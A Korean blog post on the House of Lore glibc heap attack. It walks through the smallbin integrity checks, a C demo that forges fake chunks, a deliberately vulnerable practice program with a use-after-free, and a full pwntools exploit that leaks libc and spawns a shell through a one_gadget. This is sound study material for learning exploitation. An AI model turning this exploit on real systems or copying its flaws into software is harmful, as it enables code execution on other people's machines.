공격조건
2.23에서는 가능, malloc과 free를 임의로 할 수 있어야함. heap영역의 주소를 알 수 있어야 함, free된 chunk에 접근 가능해야함, fake chunk의 주소 알아야 함.
House of Lore란?
smallbin 크기의 힙이 존재 할 때 bck→fd를 조작하여 임의의 주소에 청크를 할당할 수 있는 공격 기법이다.
하지만 이에는 몇 가지 검증 코드가 있기 때문에 이를 우회해야 한다.
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
...
}
}
}
if (in_smallbin_range (nb))
small bin 크기여야한다.
if ((victim = last (bin)) != bin)
bin이 비어있으면 안된다.
if (__glibc_unlikely (bck->fd != victim))
victim→bk→fd 가 victim이여야 한다.
위 조건을 만족하면 원하는 주소에 heap을 할당할 수 있다.
bin->bk = bck;
bck->fd = bin;
예시
// gcc -o lore1 lore1.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
uint64_t *ptr1, *ptr2, *ptr3, *top;
uint64_t *fake1, *fake2;
uint64_t fake_chunk[4];
uint64_t fake_chunk2[3];
fprintf(stderr, "fake_chunk: %p\\n", fake_chunk);
fprintf(stderr, "fake_chunk2: %p\\n", fake_chunk2);
ptr1 = malloc(0x100);
ptr2 = malloc(0x100);
ptr3 = malloc(0x100);
fprintf(stderr, "ptr1: %p\\n", ptr1);
fprintf(stderr, "ptr2: %p\\n", ptr2);
fprintf(stderr, "ptr3: %p\\n", ptr3);
free(ptr1);
free(ptr3); //ptr3는 여기서 병합되는데 왜 있는지 모르겠다...
top = malloc(0x110);
// (1)
fake_chunk[0] = 0;
fake_chunk[1] = 0x111;
fake_chunk[2] = (uint64_t)ptr1 - 0x10;
ptr1[1] = (uint64_t)&fake_chunk;
// (2)
fake1 = malloc(0x100);
// (3)
fake_chunk[3] = (uint64_t)&fake_chunk2;
fake_chunk2[2] = (uint64_t)&fake_chunk;
// (4)
fake2 = malloc(0x100); //victim malloc2
// (5)
fprintf(stderr, "fake1: %p\\n", fake1);
fprintf(stderr, "fake2: %p\\n", fake2);
return 0;
}
우선 (1)까지의 상황을 보자
그리고 fakechunk의 fd를 ptr1 - 0x10 으로 한다. 0x10을 빼는 이유는 ptr1변수에는 mem부터의 주소를 가리키기 때문이다. 그리고 ptr1의 bk부분을 fakechunk의 주소로 한다. (2)까지의 상황을 보자
이렇게 되면 ptr1→bk→fd 는 ptr1 이니 검증을 우회할 수 있다. (3)까지를 보자.
추가적인 작업 없이 ptr1의 fd와 bk가 지워지는거는 아니지만 일단은 지우고 보자. 여기서 다음 malloc을 하면 fake_chunk가 할당되는데 그러면
"malloc(): smallbin double linked list corrupted"
가 걸리니 fake chunk 하나 더 만들어 준다. (4) 까지 실행된 것을 보자.
이렇게 계속 연결해 나가는 것이다. (5) 까지의 실행을 보자.
이렇게 fake2의 chunk가 fake chunk 즉 임의의 주소를 가지게 되었다. 그래서 결과를 보면 이렇게 된다.
fake2의 주소가 fake_chunk인 것을 알 수 있다. 0x10 차이 나는것은 fake2는 mem부터 시작이기 때문이다.
예제
// gcc -o lore2 lore2.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *ptr[20];
int ptr_size[20];
int heap_idx = 0;
int add() {
int size;
if( heap_idx > 20 ) {
exit(0);
}
printf("Size: ");
scanf("%d", &size);
ptr[heap_idx] = (char *)malloc(size);
ptr_size[heap_idx] = size;
printf("Data: ");
read(0, ptr[heap_idx], size);
heap_idx++;
return 0;
}
int del() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 20 ) {
exit(0);
}
free(ptr[idx]);
return 0;
}
int show() {
int idx;
printf("idx: ");
scanf("%d", &idx);
printf("%p: %s\\n", ptr[idx], ptr[idx]);
return 0;
}
int edit() {
int idx;
printf("idx: ");
scanf("%d", &idx);
printf("Data: ");
read(0, ptr[idx], ptr_size[idx]);
return 0;
}
int main() {
char name[100];
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("name: ");
read(0, name, sizeof(name)-1);
printf("%p: %s",&name, name);
while(1) {
printf("1. Add\\n");
printf("2. Delete\\n");
printf("3. Show\\n");
printf("4. Edit\\n");
printf("5. Edit name\\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
add();
break;
case 2:
del();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
printf("Name: ");
read(0, name, sizeof(name)-1);
break;
default:
return 0;
}
}
return 0;
}
시작할때 name의 주소를 준다.
1 번은 새 chunk를 만든다
2 번은 chunk를 free한다. 이때 dangling pointer 가 생긴다
3 번은 chunk의 값을 보여준다. 이때 use after free로 heap의 주소와 libc_base를 구할 수 있다.
4 번은 chunk의 수정이다. 이것도 마찬가지로 해제된 chunk를 수정할 수 있다.
5 번은 name의 수정이다.
익스 순서
1. 우선 unsorted bin에 chunk 하나를 넣는다.
2. free된 chunk를 show 해서 heap 주소와 libc_base를 구한다.
3. free된 chunk보다 더 큰 chunk를 할당해서 small bin으로 chunk를 보낸다.
4. 4번 edit으로 small bin의 bk를 fake_add인 name의 주소를 넣는다.
5. 5번 edit name으로 name에 fake chunk를 구성한다. 참고로 fake chunk는 2개여야한다.
6. 1번을 눌러 할당해서 small bin에 있는 chunk를 재할당 하고 다음으로 할당될 chunk는 name이 된다.
7. 1번을 눌러 할당한 후 name 버퍼를 모두 채우고 one_gadget으로 셸을 딴다.
익스 코드
from pwn import *
context.log_level = 'debug'
p = process("./hol2")
one_gadget_off = 0x4527a
libc_off = 0x3c4b78
pause()
p.sendlineafter(b"name: ", b'\\n')
p.recvuntil(b"0x")
fake_add = int(p.recv(12), 16)
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b"Data: ", b'\\n')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b"Data: ", b'\\n')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx: ", b'0')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"idx: ", b'0')
p.recvuntil(b"0x")
ptr1_add = int(p.recvuntil(b"010"),16)
ptr1_add -= 0x10
print(hex(ptr1_add))
p.recvuntil(b": ")
libc_add = u64(p.recv(6)+b"\\x00\\x00")
libc_base = libc_add - libc_off
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", b'272')
p.sendlineafter(b"Data: ", b'\\n')
p.sendlineafter(b"> ", b'4')
p.sendlineafter(b"idx: ", b'0')
ex1 = p64(0)
ex1 += p64(fake_add)
p.sendlineafter(b"Data: ", ex1)
p.sendlineafter(b"> ", b'5')
fake_add2 = fake_add + 0x20
ex2 = p64(0)
ex2 += p64(0x111)
ex2 += p64(ptr1_add)
ex2 += p64(fake_add2)
ex2 += p64(0)
ex2 += p64(0x111)
ex2 += p64(fake_add)
p.sendlineafter(b"Name: ", ex2)
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", b'256')
p.sendlineafter(b"Data: ", b'\\n')
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", b'256')
print(hex(libc_base))
one_gadget = libc_base + one_gadget_off
ex3 = b'\\x00'*0x60
ex3 += b'b'*0x8
ex3 += p64(one_gadget)
ex3 += b'\\x00' *0x38
p.sendlineafter(b"Data: ", ex3)
p.sendlineafter(b"> ", b'6')
p.interactive()
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
Tcache dup & poisoning (0) | 2023.12.04 |
---|---|
House of Force (1) | 2023.12.04 |
House of Spirit (0) | 2023.11.27 |
Large Bin Attack (1) | 2023.11.22 |
Overlapping chunks (1) | 2023.11.22 |